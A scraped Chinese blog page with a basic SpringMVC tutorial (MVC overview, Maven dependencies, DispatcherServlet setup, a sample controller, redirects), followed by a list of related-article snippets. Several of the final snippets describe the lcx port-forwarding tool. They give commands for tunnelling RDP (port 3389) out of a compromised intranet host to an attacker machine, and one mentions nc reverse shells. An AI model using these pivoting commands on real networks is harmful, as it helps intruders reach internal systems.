SpringMVC教程来喽!

article/2025/8/24 1:23:51

目录

  • SpringMVC简介
  • SpringMVC的搭建

SpringMVC简介

这里对SpringMVC进行一个简单介绍

  • springmvc是spring框架的一个模块,springmvc和spring无需通过中间整合层进行整合。
  • springmvc是一个基于mvc的web框架。
  • springmvc 表现层:方便前后端数据的传输
  • Spring MVC 拥有控制器,作用跟Struts类似,接收外部请求,解析参数传给服务层

视图(View)-对应组件:JSP或者HTML文件
控制器(Controller)-对应组件:Servlet
模型(Model)-对应组件:JavaBean

Servlet:接受前端请求并调用JavaBean
JavaBean:处理业务并操作数据库
JSP:将处理结果响应到浏览器呈现给用户

在这里插入图片描述
视图、控制器、模型间的关系:

在这里插入图片描述
MVC处理过程:
在这里插入图片描述

MVC优点

  • MVC三个模块相互独立,松耦合架构
  • 多视图共享一个模型,大大提高代码的可重用性
  • 控制器提高了应用程序的灵活性和可配置性
  • 有利于软件工程化管理

MVC缺点

  • 增加了系统结构和实现的复杂性,不适合小型规模的项目
  • 视图层与模型之间需要控制器做中间的连接控制,所以效率较低

SpringMVC的搭建

1、下载并导入相关依赖jar包

    <dependency><groupId>javax.servlet</groupId><artifactId>javax.servlet-api</artifactId><version>3.1.0</version><scope>provided</scope></dependency><dependency><groupId>javax.servlet</groupId><artifactId>jsp-api</artifactId><version>2.0</version><scope>provided</scope></dependency><dependency><groupId>org.springframework</groupId><artifactId>spring-webmvc</artifactId><version>${spring.version}</version></dependency>

2、在web.xml文件中配置springMVC的前端控制器

<servlet><servlet-name>springmvc</servlet-name><servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class><init-param><param-name>contextConfigLocation</param-name><param-value>classpath:springMvc.xml</param-value></init-param><load-on-startup>1</load-on-startup></servlet><servlet-mapping><servlet-name>springmvc</servlet-name><url-pattern>/</url-pattern></servlet-mapping>

3、在resources中创建spring的配置文件
在这里插入图片描述
4、在SpringMVC中添加扫描组件

<context:component-scan base-package="com.controllrer"></context:component-scan>

5.创建一个controller类

@Controller
@RequestMapping("/hello")
public class HelloController {@RequestMapping("/hello01")public String hello01(){System.out.println("hello01");return "hello01.jsp";}
}

SpringMVC就可以使用了

扩展一下如何使用重定向跳转
在方法的返回字符串的内容时加上redirect:

 @RequestMapping("list5")public String list5(){System.out.println("!!!!!!!!!!!!!!!!!");return "redirect:list.jsp"; //当springmvc看到你返回的字符串钟含有redirect:时 它认为你要进行重定向跳转}

如何把controller数据返回到网页并回显。

@RequestMapping("/list3")public String list3(HttpSession session){Student student=new Student(3,"tom","120@qq.com",new Date());session.setAttribute("user",student);return "list.jsp"; //转发}

接受的参数含有日期类型
在时间类型的属性上添加一个注解:@DateTimeFormat(pattern = “yyyy-MM-dd”)

@DateTimeFormat(pattern = "yyyy-MM-dd")//String转date视图层转控制层

http://chatgpt.dhexx.cn/article/8t9uyoFF.shtml

相关文章

搭建配置SpringMVC教程

1新建工程&#xff0c;在maven工程中选择create from archetype,选择webapp&#xff0c;注意有很数个webapp&#xff0c;要选择前缀有maven的 2.在pom.xml添加依赖 <dependency><groupId>org.springframework</groupId><artifactId>spring-webmvc<…

SpringMVC教程(二)

什么是SpringMVC 概述 Spring MVC是Spring Framework的一部分&#xff0c;是基于Java实现MVC的轻量级Web框架。 查看官方文档&#xff1a;https://docs.spring.io/spring/docs/5.2.0.RELEASE/spring-framework-reference/web.html#spring-web 我们为什么要学习SpringMVC呢? …

最全面的SpringMVC教程(六)——WebSocket

前言 本文为 【SpringMVC教程】WebSocket 相关知识介绍&#xff0c;具体将对WebSocket进行简介&#xff0c;并通过实战案例对WebSocket的使用进行详尽介绍~ &#x1f4cc;博主主页&#xff1a;小新要变强 的主页 &#x1f449;Java全栈学习路线可参考&#xff1a;【Java全栈学…

SpringMVC教程(三)

SpringMVC&#xff1a;Hello,SpringMVC HelloSpringMVC 配置版 新建一个Moudle &#xff0c; 添加web的支持&#xff01;确定导入了SpringMVC 的依赖&#xff01; 配置web.xml &#xff0c; 注册DispatcherServlet <?xml version"1.0" encoding"UTF-8&quo…

史上最全最细的SpringMVC教程

SpringMVC是强大的Web开发框架&#xff0c;基于Spring。 课程从基础开始逐步讲解SpringMVC框架Web应用的相关技术点。涵盖了SpringMVC基础内容以及与Spring框架集成(如IoC容器、AOP等)等高级内容。 学习该课程后可以让我们能非常简单的设计出干净的Web层和薄薄的Web层。掌握强…

黑马程序员--SpringMVC详细教程

一、SpringMVC概述 SpringMVC 是一种基于 Java 的实现 MVC 设计模型的请求驱动类型的轻量级 Web 框架&#xff0c;属于 SpringFrameWork 的后续产品&#xff0c;已经融合在 Spring Web Flow 中。 SpringMVC 已经成为目前最主流的MVC框架之一&#xff0c;并且随着Spring3.0 的发…

史上最全的SpringMVC教程,终于整理出来了

1. 为啥要学 SpringMVC&#xff1f; 1.1 SpringMVC 简介 在学习 SpringMVC 之前我们先看看在使用 Servlet 的时候我们是如何处理用户请求的&#xff1a; 配置web.xml <?xml version"1.0" encoding"UTF-8"?> <web-app xmlns"http://xml…

史上最全面最易懂的,Spring框架学习教程

Spring通过PlatformTransactionManager平台事务管理器接口对事务的管理进行高度抽象&#xff0c;但是该接口下具体的实现是由各个平台自己实现&#xff0c;Spring并不直接管理事务&#xff0c;而是提供了多种事务管理器&#xff0c;也就是对各个平台的事务管理进行封装&#xf…

Spring 入门教程

Spring 入门教程 1、参考资料 尚硅谷-Spring5框架最新版教程&#xff08;idea版&#xff09;雷丰阳spring、springmvc、mybatis、spring一站式学习 项目地址&#xff1a;Oneby / spring-learn 2、Spring 概述 2.1、Spring 框架概述 Spring 是轻量级的开源的 JavaEE 框架 Sp…

spring框架教程

Spring框架 一、spring简介 简介&#xff1a;spring框架是一个轻量级的控制反转和面向切面的容器框架&#xff0c;用来解决项目开发中的复杂度问题–解耦 轻量级&#xff1a;体积小&#xff0c;对代码没有侵入性&#xff08;代码侵入性&#xff1a;指的是业务代码中不会调用sp…

一文学会Spring,Spring最简单的入门教程(万字好文)

1.Spring概述 1.1 Spring框架是什么 ​ Spring是与2003年兴起的一个轻量级的Java开发框架&#xff0c;它是为了解决企业应用开发的复杂性而创建的。Spring的核心是控制反转(IOC)和面向切面编程(AOP)。Spring是可以在Java SE/EE中使用的轻量级开源框架。 ​ Spring的主要作用…

lcx 内网转发

把放置到已经控制的内网主机 执行 内网主机输入命令lcx.exe -slave 外网ip 外网端口 内网ip 内网端口lcx.exe -slave 30.1.85.55 2222 127.0.0.1 3389 外网主机输入命令lcx.exe -listen 2222 3388 打开 mstsc ip&#xff1a;3388

lcx使用

lcx使用 win7 192.168.5.101 win 10 192.168.0.31 kali 192.168.5.102 lcx 本机: lcx -listen 2222 3333 2222为转发端口&#xff0c;3333为本机任意未被占用的端口 肉鸡&#xff1a;lcx -slave 2.2.2.2 2222 127.0.0.1 3389 2.2.2.2 为本机IP,2222为转发端口&#xff0c;…

lcx实现端口转发

LCX转发实验一 环境&#xff1a;内网3389端口不对外开放&#xff0c;但是1234端口对外开放&#xff08;正向连接&#xff09; lcx .exe –tran 1234 127.0.0.1 3389过程&#xff1a;192.168.1.105: 1234 -> 3389 LCX转发实验二 环境&#xff1a;内网主机可以访问外网80端口…

端口转发lcx工具+nc反弹工具使用

一、lcx工具 lcx.exe是一个端口转发工具&#xff0c;有Windows版和Linux版两个版本&#xff0c;Windows版是lcx.exe,Linux版为portmap&#xff0c; Windows版使用方法如下&#xff1a; 1、 lcx 内网端口转发 本机IP:192.168.1.10 目标机IP&#xff1a;192.168.1.5 本机运行…

lcx的使用-内网穿透

lcx有两个功能映射(slave)和转发(tran) 简单看个列子&#xff1a; 映射(slave) 第一步&#xff1a; 我在攻击机上执行此命令 lcx -listen 3333 2222此命令表示我监听3333端口&#xff0c;并把3333端口映射到2222端口 第二步&#xff1a; 我在靶机上执行此命令&#xff1a; …

流量映射端口反弹(lcx,ew)

转载自西梅哥的有道云&#xff1a; https://note.youdao.com/ynoteshare1/index.html?ida6bf797cce0b6087cb78b44818dca69f&typenote 内网应用 一、端口转发工具&#xff1a; 1.LCX&#xff08;支持双系统&#xff09; A、window&#xff08;LCX&#xff09; 上传一些…

利用lcx作端口映射

端口映射 端口映射就是将内网中的主机的一个端口映射到外网主机的一个端口&#xff0c;提供相应的服务。 当用户访问外网IP的这个端口时&#xff0c;服务器自动将请求映射到对应局域网内部的机器上。比如&#xff0c;我们在内网中有一台Web服务器&#xff0c;但是外网中的用户…

Lcx端口转发初探

最近写了一个简单的威胁分析专家系统Gui图形界面工具&#xff0c;可以快速判断失陷主机&#xff0c;给出失陷隶属度&#xff0c;非常人性化&#xff0c;压缩包大小有20M。实际上&#xff0c;这个小工具可以帮助一线驻场人员&#xff0c;快速定位高危主机&#xff0c;并给所有主…

隐藏隧道通信:lcx 端口转发

郑重声明&#xff1a; 本笔记编写目的只用于安全知识提升&#xff0c;并与更多人共享安全知识&#xff0c;切勿使用笔记中的技术进行违法活动&#xff0c;利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责&#xff0c;共同维护网络文明和谐。 隐藏隧道通信…